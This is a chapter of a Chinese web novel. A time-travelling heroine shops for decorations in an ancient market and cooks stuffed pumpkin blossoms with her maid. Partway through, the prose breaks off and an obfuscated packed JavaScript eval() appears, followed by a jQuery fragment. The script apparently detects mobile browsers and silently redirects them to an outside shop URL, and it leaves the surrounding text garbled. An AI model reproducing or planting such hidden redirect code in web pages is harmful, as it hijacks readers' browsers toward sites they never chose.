7. 瓜花酿
作品:《我家食肆通古今》 通济坊的中坊是三坊中最热闹的。
这边的铺子基本都是前面做买卖,后面住人的格局。
可能是受昭宁王朝大力发展商业的影响,基本上家家户户都会做点小买卖。
所以卖的东西格外杂,也格外多,五花八门什么都有。
孟清圆一路溜溜哒哒,先走进一间花店。
夏日里草木繁盛,她挑了几盆长势喜人的薄荷和野菊。
薄荷可是个好东西,能做饮子能入菜。
尤其是那小凉菜,要是上面放上几片薄荷叶,吃起来香味儿挠的一下就出来了。
接着又去杂货铺买了几卷素色的棉麻防水料。
打算用来铺在桌子上做桌布。
没办法,谁让系统给的桌子实在有点丑。
木头不太好也就算了,上面还有许多磕碰的痕迹。
买张桌布铺上,好歹能遮遮丑。
别看这里是古代,但昭宁王朝已经有各色防水布对外售卖。
不管是清水或油污,只要抹布就能清洁,可以说是非常实用。
除了这些,孟清圆还挑了几个粗陶花瓶和小摆件。
虽然做工不太精细,但她们本来也不走豪华装修的路子。
当然,孟清圆是不会承认不走豪华装修的原因是因为口袋没钱的。
路过一个小摊时,见对方摊子上摆着许多稀奇古怪的小玩意儿。
什么香包面具鬼功球,鸠车香篆海榴罂坠子,还有许多形态各异的云母贝壳。
别的孟清圆虽然买不起,但十文钱三枚的贝壳还是可以承受的。
“小娘子好眼光,我这云母贝壳,可是溜山国来的。”
孟清圆诧异,“溜山国?合着这还是进口货啊。”
卖货的娘子虽然听不懂什么叫进口货,但顺着客人的话说就对了。
“可不是,千里迢迢,那是相当难得。
您看这颜色,再看这品质,可不是咱共江边上的老河蚌能比的。”
孟清圆虽然不觉得这些真是溜山国的贝壳,但确实物美价廉。
于是买了许多,打算回去串起来做成贝壳风铃。
凭借后世在步行街小服装店砍价练出来的功力,孟清圆最终跟老板砍到了十文钱四枚的价格。
“哎呦,五十个才收你一百文,这一单我可是亏大了。”
“好姐姐,这贝壳拿回去我肯定串得漂漂亮亮的,回头让小姐妹都来您这买。
你人美心善,生意指定越做越红火!”
一顿夸赞把卖货娘子哄得合不拢嘴,最后甚至还送了孟清圆一卷丝线。
“用这线穿才好看呢,你这小妮子嘴忒甜,都让了这么多,这个干脆也送你吧。”
“谢谢漂亮姐姐,你最好啦~”
这下花草桌布装饰品都有了,就差灯了。
现在铺子里都是直接往灯盏里倒菜籽油点燃照明,不好看,但实用。
这东西自家用用还行,但要是开铺子,就不够看了。
后世不管是家庭装修还是店铺装修,灯带设计都属于非常重要的环节。
要是店里黑漆漆的,哪个食客愿意摸黑吃东西啊。
所以孟清圆找了半天,这才在一家手作纸品的铺子前找到心仪的灯具。
店主同样是位娘子,这会儿正用细竹篾扎着纸灯骨架。
铺子里摆着些各种款式的灯具,甚至还有立地款的。
灯面画的是梅兰竹菊,中间有四个蜡烛灯托,同时点燃后非常亮堂。
孟清圆一问价格,好么,买不起,真的买不起。
这样一款落地灯,竟然要价四两银子。
以她们开业初期的资金,光是买几盏灯就要破产了。
于是她跟店主买了些没糊灯面的菱花形竹篾灯架,又买了几刀素白桑皮纸和一小盒金粉。
打算回去后,让轻烟帮忙糊好灯面,再自己画些图案上去,简单好看还省钱。
店主见她买了不少半成品,也算是采购大户了。
对方又夸赞她家灯漂亮,于是心情一好,顺便送了她几卷干花。
“小娘子拿回去可以挂在廊下,也可以插进花瓶中。
一束能香月余,好闻得很。
若是用着喜欢,记得回头再来啊,也不贵,这样一卷,只要五百文。”
“谢谢啊。”
孟清圆在这里花出今日最大的一笔开销后,便在街头雇了个小工帮忙提东西,开始往回走。
这通济坊规模是真的大,她逛了这么久,竟然才粗粗将中坊逛个大概。
刚拐过街口,就看见一位老农身边放着担子在叫卖。
担子一头的竹筐笸箩上头铺着湿布,上面摆了不少新鲜的南瓜花。
金黄色的花瓣舒展,花萼还带着细细的绒毛,看着鲜翠欲滴。
另一头则是数十个大小不一的南瓜。
孟清圆瞧见这南瓜花,突然想起之前刷到的一条短视频。
某度假村的厨师将调好的肉馅填进瓜花中,油温六成热时下锅炸至金黄酥脆。
出锅后瓜黄馅红,色泽诱人,底下的评论区全是被馋哭的留言。
为了尝到这口瓜花酿,她还特意去了趟那度假村餐厅。
一口咬下去,果然名不虚传。
“老丈,这南瓜花怎么卖?”孟清圆走上前问。
见来的是个衣着干净的小娘子,老者连忙应道:“一文钱五把,都是今早刚从菜园里摘的,新鲜着呢!”
“给我来五把,顺便再来个小南瓜。”
五把就是五朵,因为是第一次做,孟清圆担心自己翻车,所以直接要了三十把。
要是做瓜花酿没用完,还能用来凉拌或做汤,味道也鲜美得很。
老农麻利地用稻草将南瓜花捆好,整整齐齐地递了过来。
“小娘子拿好,都是挑着最嫩的,没有老梗。
孟清圆接过,付了钱又问道:“老丈每日都在此处售卖吗?”
“可不是,”老农擦了擦汗。
“我家就在城外,自家后院开出一大片菜园子。
每日辰时进城买些时鲜菜蔬,卖到未时便回去。
小娘子要是爱吃,明日再来寻我便是。”
大采购一番的孟清圆满载而归,回来时远远就看见轻烟正坐在门槛上发呆。
见孟清圆回来,她赶紧跑过来迎接。
“早知道小娘子要买这许多,该喊我一起去的。”
三人将东西放回屋里,孟清圆掏出五文钱递给小工,这才一屁股坐在长凳上。
“本来也没想买这么多,谁成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165311|196684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想一不小心就……这购物果然是越买越上头。”
轻烟给她倒水,又去好奇翻买来的东西。
“小娘子,这是什么呀?”她指着一堆竹篾。
“灯啊,你手艺好,回头你给糊上灯面。
你都不知道,店里一个做好的落地灯竟然要四两银子,抢钱吗这不是!
早知道当初就该把孟府的灯也都打包带出来,真是失策了。”
“那这又是什么?”轻烟举起一片贝壳。
“贝壳呀,回头拿烧红的铁筷子打孔,再穿成串。
挂在窗檐下,叮叮当当的,可好听了。”
孟清圆给买来的东西一通展示,最后才伸了个懒腰,“走,咱们做饭去~”
晚饭的重头戏自然就是瓜花酿。
孟清圆将南瓜花放进盆里,依次用清水洗净。
再用剪刀去掉花梗与花蕊,沥干水分备用。
“早上剩下的鱼肉呢?”
“我用油纸封好,放井里保鲜呢。”
轻烟一边说着,一边去井边将篮子提上来。
孟清圆将鱼肉剁成鱼糜,在里面加入轻烟下午买回来的猪肉馅子。
再放切碎的葱花、姜末,加适量盐、料酒和生抽,搅拌均匀。
为了丰富口感,她还在里面额外放了些许细碎藕丁。
然后,孟清圆拿起一朵南瓜花,胸有成竹的准备灌馅。
只见她左手持花,右手舀馅,小心地一伸,再轻轻这么一压……花,破了。
“诶我去?”
孟清圆将破掉的南瓜花放在一边,又取来一朵。
这次她深吸一口气,用比刚才更加轻柔的手法重新尝试,然后……又破了。
“诶不是?”
孟清圆不死心,继续拿起一个。
这次第一回只取了少少的肉馅塞进去,很好,没破。
然而塞第二下时,花瓣又又又破了。
“emmmm……”
孟清圆将破掉的三个统统扔进垃圾桶。
没救了毁灭吧,谁也别吃了,干脆直接弄成炸肉圆吧。
轻烟在一旁看不下去,“小娘子,要不交给我来弄吧。”
“呜呜呜,轻烟,你真是个好人。”
孟清圆求之不得,赶紧将筷子和还没被祸害的南瓜花往她手中一塞,“那这个艰巨而重要的工作就交给你了哈。”
将这个弄出一肚子气的工作交出去,孟清圆又灌了几大口绿豆甘草冰雪凉水,这才准备去弄团油饭。
团油饭,又叫盘游饭。
《北户录》记载:“广之人食品中有团油饭,以煎蝯鱼,炙鸡鹅,煮猪羊、鸡子、羮饼、灌肠,蒸脯菜、粉餈、粔籹、蕉子,姜、桂、盐、豉之属,装而食之是也。”[1.]
简单说就是各种肉蛋菜调味料和糯米一起上锅蒸。
有什么就放什么,食材因地而异,因人而异。
孟清圆起锅烧油,油热后十分随性的将各种切好的蔬菜丁和肉丁一股脑倒进去。
倒不是她做菜不认真,主要是这道菜后面全靠蒸。
所以炒制的口感倒是不讲究先后顺序。
炒熟的菜被孟清圆盛出,加入大块的南瓜肉和糯米一起蒸。
盖上锅盖,她去看轻烟的成果。

